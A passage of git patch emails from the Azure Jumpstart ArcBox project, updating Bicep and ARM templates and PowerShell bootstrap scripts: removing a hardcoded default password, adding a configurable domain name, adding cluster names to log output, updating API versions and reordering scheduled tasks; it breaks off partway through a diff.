a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -248,7 +248,7 @@ "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),null)]" } } ] diff --git a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json index 3b9d6fb9c3..043000fb21 100644 --- a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json +++ b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json @@ -171,7 +171,7 @@ "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),null)]" } } ] diff --git a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json index 804630cfbc..e94b880865 100644 --- a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json +++ b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuRancher.json @@ -152,7 +152,7 @@ "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),null)]" } } ] diff --git a/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json b/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json index c2cc525d7d..9e2688a1c6 100644 --- a/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json +++ b/azure_jumpstart_arcbox/ARM/mgmt/addsVm.json @@ -103,7 +103,7 @@ }, "privateIPAllocationMethod": "Static", "privateIPAddress": "[variables('addsPrivateIPAddress')]", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),null)]" } } ] diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index e047f07b70..6cc859a059 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -39,7 +39,7 @@ param spnTenantId string param azdataUsername string = 'arcdemo' @secure() -param azdataPassword string = 'ArcPassword123!!' +param azdataPassword string param acceptEula string = 'yes' param registryUsername string = 'registryUser' @@ -114,7 +114,7 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { id: subnetId } privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion == false ? PublicIPNoBastion : json('null') + publicIPAddress: deployBastion == false ? PublicIPNoBastion : null } } ] diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep index 02edc15366..dc0cf1ad5c 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep @@ -54,16 +54,14 @@ param kubernetesVersion string = '1.26.6' var serviceCidr_primary = '10.20.64.0/19' var dnsServiceIP_primary = '10.20.64.10' -var dockerBridgeCidr_primary = '172.17.0.1/16' var serviceCidr_secondary = '172.20.64.0/19' var dnsServiceIP_secondary = '172.20.64.10' -var dockerBridgeCidr_secondary = '192.168.0.1/16' var virtualNetworkName = 'ArcBox-VNet' var aksSubnetName = 'ArcBox-AKS-Subnet' var drVirtualNetworkName = 'ArcBox-DR-VNet' var drSubnetName = 'ArcBox-DR-Subnet' -resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@2022-07-02-preview' = { +resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@2023-10-02-preview' = { location: location name: aksClusterName identity: { @@ -97,7 +95,6 @@ resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@202 networkPlugin: 'azure' serviceCidr: serviceCidr_primary dnsServiceIP: dnsServiceIP_primary - dockerBridgeCidr: dockerBridgeCidr_primary } linuxProfile: { adminUsername: linuxAdminUsername @@ -116,7 +113,7 @@ resource aksClusterName_resource 'Microsoft.ContainerService/managedClusters@202 } } -resource drClusterName_resource 'Microsoft.ContainerService/managedClusters@2022-07-02-preview' = { +resource drClusterName_resource 'Microsoft.ContainerService/managedClusters@2023-10-02-preview' = { location: location name: drClusterName identity: { @@ -150,7 +147,6 @@ resource drClusterName_resource 'Microsoft.ContainerService/managedClusters@2022 networkPlugin: 'azure' serviceCidr: serviceCidr_secondary dnsServiceIP: dnsServiceIP_secondary - dockerBridgeCidr: dockerBridgeCidr_secondary } linuxProfile: { adminUsername: linuxAdminUsername diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep index cea1f08a46..dd824f90d6 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuCapi.bicep @@ -80,7 +80,7 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { id: subnetId } privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion== false ? PublicIPNoBastion : json('null') + publicIPAddress: deployBastion== false ? PublicIPNoBastion : null } } ] diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index cf62f179f1..342a423213 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -69,7 +69,7 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { id: subnetId } privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion== false ? PublicIPNoBastion : json('null') + publicIPAddress: deployBastion== false ? PublicIPNoBastion : null } } ] diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 580683ea2e..50e288a352 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -51,9 +51,11 @@ param addsDomainName string = 'jumpstart.local' @description('Random GUID for cluster names') param guid string = substring(newGuid(),0,4) +@description('Azure location to deploy all resources') +param location string = resourceGroup().location + var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' -var location = resourceGroup().location var capiArcDataClusterName = 'ArcBox-CAPI-Data-${guid}' var k3sArcDataClusterName = 'ArcBox-K3s-${guid}' var aksArcDataClusterName = 'ArcBox-AKS-Data-${guid}' @@ -102,6 +104,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { params: { windowsAdminUsername: windowsAdminUsername windowsAdminPassword: windowsAdminPassword + azdataPassword: windowsAdminPassword spnClientId: spnClientId spnClientSecret: spnClientSecret spnTenantId: spnTenantId diff --git a/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep b/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep index c1f0f1c47d..df9635e885 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep @@ -11,7 +11,7 @@ param windowsAdminUsername string = 'arcdemo' @minLength(12) @maxLength(123) @secure() -param windowsAdminPassword string = 'ArcPassword123!!' +param windowsAdminPassword string @description('The Windows version for the VM. This will pick a fully patched image of this given Windows version') param windowsOSVersion string = '2022-datacenter-g2' @@ -54,7 +54,7 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { } privateIPAllocationMethod: 'Static' privateIPAddress: addsPrivateIPAddress - publicIPAddress: ((!deployBastion) ? PublicIPNoBastion : json('null')) + publicIPAddress: ((!deployBastion) ? PublicIPNoBastion : null) } } ] @@ -127,7 +127,7 @@ resource vmName_DeployADDS 'Microsoft.Compute/virtualMachines/extensions@2022-03 type: 'CustomScriptExtension' typeHandlerVersion: '1.10' autoUpgradeMinorVersion: true - settings: { + protectedSettings: { fileUris: [ uri(templateBaseUrl, 'artifacts/SetupADDS.ps1') ] From e1061abe00f6d62f32bc7a1555b1294c1256ab85 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 10:47:00 +0200 Subject: [PATCH 046/506] Add cluster name and deployment details to console output --- .../artifacts/DataOpsLogonScript.ps1 | 17 ++++++++++++----- .../artifacts/DeploySQLMIADAuth.ps1 | 7 ++++--- 2 files changed, 16 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index fe9268dbba..6d94d5cbb4 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -147,10 +147,12 @@ Start-Sleep -Seconds 10 Write-Header "Onboarding clusters as an Azure Arc-enabled Kubernetes cluster" $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { $cluster = $_ + $clusterName = $cluster.clusterName if ($cluster.context -ne 'capi') { - Write-Host "Checking K8s Nodes" + Write-Host "Checking K8s Nodes on $clusterName" kubectl get nodes --kubeconfig $cluster.kubeConfig Write-Host "`n" + Write-Host "Onboarding $clusterName as an Azure Arc-enabled Kubernetes cluster" az connectedk8s connect --name $cluster.clusterName ` --resource-group $Env:resourceGroup ` --location $Env:azureLocation ` @@ -161,8 +163,8 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { # Enabling Container Insights and Azure Policy cluster extension on Arc-enabled cluster Write-Host "`n" - Write-Host "Enabling Container Insights cluster extension" - az k8s-extension create --name "azuremonitor-containers" --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId + Write-Host "Enabling Container Insights cluster extension on $clusterName" + az k8s-extension create --name "azuremonitor-containers" --cluster-name $clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId Write-Host "`n" } } @@ -180,11 +182,14 @@ Write-Header "Deploying Azure Arc Data Controller" $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { $cluster = $_ $context = $cluster.context + $clusterName = $cluster.clusterName Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" + Write-Host "Deploying arc data services on $clusterName" + Write-Host "`n" az k8s-extension create --name arc-data-services ` --extension-type microsoft.arcdataservices ` --cluster-type connectedClusters ` - --cluster-name $cluster.clusterName ` + --cluster-name $clusterName ` --resource-group $Env:resourceGroup ` --auto-upgrade false ` --scope cluster ` @@ -230,6 +235,8 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsWorkspaceId-stage', $workspaceId | Set-Content -Path $dataControllerParams (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsPrimaryKey-stage', $workspaceKey | Set-Content -Path $dataControllerParams + Write-Host "Deploying arc data controller on $clusterName" + Write-Host "`n" az deployment group create --resource-group $Env:resourceGroup --name $cluster.dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" Write-Host "`n" @@ -238,7 +245,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { Start-Sleep -Seconds 45 $dcStatus = $(if (kubectl get datacontroller -n arc --kubeconfig $cluster.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) } while ($dcStatus -eq "Nope") - Write-Host "Azure Arc data controller is ready!" + Write-Host "Azure Arc data controller is ready on $clusterName!" Write-Host "`n" Remove-Item "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" -Force Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index 9a104f69fd..ad612f4017 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -180,10 +180,11 @@ $sqlInstances | Foreach-Object -ThrottleLimit 5 -Parallel { (Get-Content -Path $adConnectorParams) -replace 'serviceAccountProvisioning-stage', $serviceAccountProvisioning | Set-Content -Path $adConnectorParams (Get-Content -Path $adConnectorParams) -replace 'domainName-stage', $dcInfo.domain.Tolower() | Set-Content -Path $adConnectorParams + Write-Host "Deploying Azure Arc AD connector for $sqlMIName" az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\adConnector.json" --parameters "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" Write-Host "`n" Do { - Write-Host "Waiting for AD connector deployment. Hold tight, this might take a few minutes...(30s sleeping loop)" + Write-Host "Waiting for AD connector deployment for $sqlMIName. Hold tight, this might take a few minutes...(30s sleeping loop)" Start-Sleep -Seconds 30 $adcStatus = $(if (kubectl get adc adarc -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) } while ($adcStatus -eq "Nope") @@ -196,7 +197,7 @@ $sqlInstances | Foreach-Object -ThrottleLimit 5 -Parallel { # Deploying Azure Arc SQL Managed Instance - Write-Host "Deploying Azure Arc SQL Managed Instance" + Write-Host "Deploying the $sqlMIName Azure Arc SQL Managed Instance" $dataControllerId = $(az resource show --resource-group $Env:resourceGroup --name $sqlInstance.dataController --resource-type "Microsoft.AzureArcData/dataControllers" --query id -o tsv) $customLocationId = $(az customlocation show --name $sqlInstance.customLocation --resource-group $Env:resourceGroup --query id -o tsv) @@ -263,7 +264,7 @@ $sqlInstances | Foreach-Object -ThrottleLimit 5 -Parallel { Start-Sleep -Seconds 45 $dcStatus = $(if (kubectl get sqlmanagedinstances -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) } while ($dcStatus -eq "Nope") - Write-Host "Azure Arc SQL Managed Instance is ready!" + Write-Host "$sqlMIName Azure Arc SQL Managed Instance is ready!" Write-Host "`n" Remove-Item "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" -Force From 1bc153caf9bb9badce917560f94fe53d9fc739c3 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 11:32:01 +0200 Subject: [PATCH 047/506] Fix domain name variable in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index c4b26a4e3e..991b881438 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -376,10 +376,9 @@ if ($flavor -eq "DataOps") { $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." - Write-Host "`n" Write-Host "Joining client VM to domain" - Add-Computer -DomainName $Env:addsDomainName -LocalCredential $localCred -Credential $domainCred + Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred Write-Host "Joined Client VM to $addsDomainName domain." # Disabling Windows Server Manager Scheduled Task From 663a0b258489e2f7c04ecf25ff517463a1dc8df2 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 11:35:31 +0200 Subject: [PATCH 048/506] Add support for custom domain name in Bootstrap.ps1 and clientVm.bicep --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 5 +++-- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 5 ++++- azure_jumpstart_arcbox/bicep/main.bicep | 1 + 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 991b881438..e0d3d01758 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -30,7 +30,8 @@ param ( [string]$flavor, [string]$rdpPort, [string]$sshPort, - [string]$vmAutologon + [string]$vmAutologon, + [string]$addsDomainName ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) @@ -65,7 +66,7 @@ param ( [System.Environment]::SetEnvironmentVariable('templateBaseUrl', $templateBaseUrl, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('flavor', $flavor, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('automationTriggerAtLogon', $automationTriggerAtLogon, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('addsDomainName', "jumpstart.local", [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('addsDomainName', $addsDomainName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksArcClusterName', $aksArcClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aksdrArcClusterName', $aksdrArcClusterName, [System.EnvironmentVariableTarget]::Machine) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 81dd84b556..427a5478de 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -99,6 +99,9 @@ param aksArcClusterName string = 'ArcBox-AKS-Data' @description('The name of the AKS DR cluster') param aksdrArcClusterName string = 'ArcBox-AKS-DR-Data' +@description('Domain name for the jumpstart environment') +param addsDomainName string = 'jumpstart.local' + var bastionName = 'ArcBox-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -200,7 +203,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName}' } } } diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 88f929a66a..7e4540db6a 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -128,6 +128,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { aksdrArcClusterName : aksDrArcDataClusterName vmAutologon: vmAutologon rdpPort: rdpPort + addsDomainName: addsDomainName } dependsOn: [ updateVNetDNSServers From f1d8bddf679ff0b685aeb938a1c79580d5836dfc Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 12:42:52 +0200 Subject: [PATCH 049/506] Add conditional task execution based on environment flavor --- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index 549120bc73..a1b372ca24 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -36,7 +36,11 @@ switch ($env:flavor) { } # Start remaining logon scripts -Get-ScheduledTask *LogonScript* | Start-ScheduledTask +if($env:flavor -eq 'DataOps') { + Get-ScheduledTask RunAfterClientVMADJoin | Start-ScheduledTask +}else{ + Get-ScheduledTask *LogonScript* | Start-ScheduledTask +} #Cleanup Unregister-ScheduledTask -TaskName 'WinGetLogonScript' -Confirm:$false From f9a68b55ba3c975f2583aa99a2a331cf64b1c5f2 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 12:43:49 +0200 Subject: [PATCH 050/506] Fix local account disabling in RunAfterClientVMADJoin.ps1 --- azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 69d56d867f..2a0a0d9b9a 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -45,7 +45,7 @@ Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -Acti Write-Host "Registered scheduled task 'ArcServersLogonScript' to run at user logon." #Disable local account -$account=(Get-LocalGroupMember -Group "Administrators" | where {$_.PrincipalSource -eq "Local"}).name.split('\')[1] +$account=(Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.PrincipalSource -eq "Local"}).name.split('\')[1] net user $account /active:no # Delete schedule task From f9d08a34c31e3ec0565e5b3a38e892fddd63ca63 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 13:19:04 +0200 Subject: [PATCH 051/506] Add scheduled task for WinGet.ps1 in Bootstrap.ps1 --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index e0d3d01758..5e932d4b13 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -326,11 +326,6 @@ Write-Header "Configuring Logon Scripts" $ScheduledTaskExecutable = "pwsh.exe" -# Creating scheduled task for WinGet.ps1 -$Trigger = New-ScheduledTaskTrigger -AtLogOn -$Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 -Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force - if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 @@ -378,6 +373,12 @@ if ($flavor -eq "DataOps") { Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." Write-Host "`n" + + # Creating scheduled task for WinGet.ps1 + $Trigger = New-ScheduledTaskTrigger -AtLogOn + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + Write-Host "Joining client VM to domain" Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred Write-Host "Joined Client VM to $addsDomainName domain." From b706620ebf0a3f707611efd483e49beb747bdd54 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 13:52:12 +0200 Subject: [PATCH 052/506] Add SPN credential for Az PowerShell login --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index ab80ef2cda..3e11b1ddfb 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -157,6 +157,8 @@ if ($Env:flavor -ne "DevOps") { az login --service-principal --username $spnClientId --password $spnClientSecret --tenant $spnTenantId Write-Header "Az PowerShell Login" + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId # Register Azure providers From 2c78dbae6551b01077664f504b4e266c8c88f822 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 13:53:51 +0200 Subject: [PATCH 053/506] Update Arc version to 1.25.0 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 6d94d5cbb4..c30ec246ec 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -194,7 +194,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { --auto-upgrade false ` --scope cluster ` --release-namespace arc ` - --version 1.18.0 ` + --version 1.25.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper Write-Host "`n" From 4ca399eb8d55a52877a9531aa7c75513e0d39e08 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 2 Jan 2024 11:47:53 +0200 Subject: [PATCH 054/506] Fix autologon condition and configure RDP port --- .../artifacts/Bootstrap.ps1 | 53 +++++++++++-------- 1 file changed, 30 insertions(+), 23 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index c75a944d4c..5f4b8e678c 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -104,7 +104,7 @@ Start-Transcript -Path 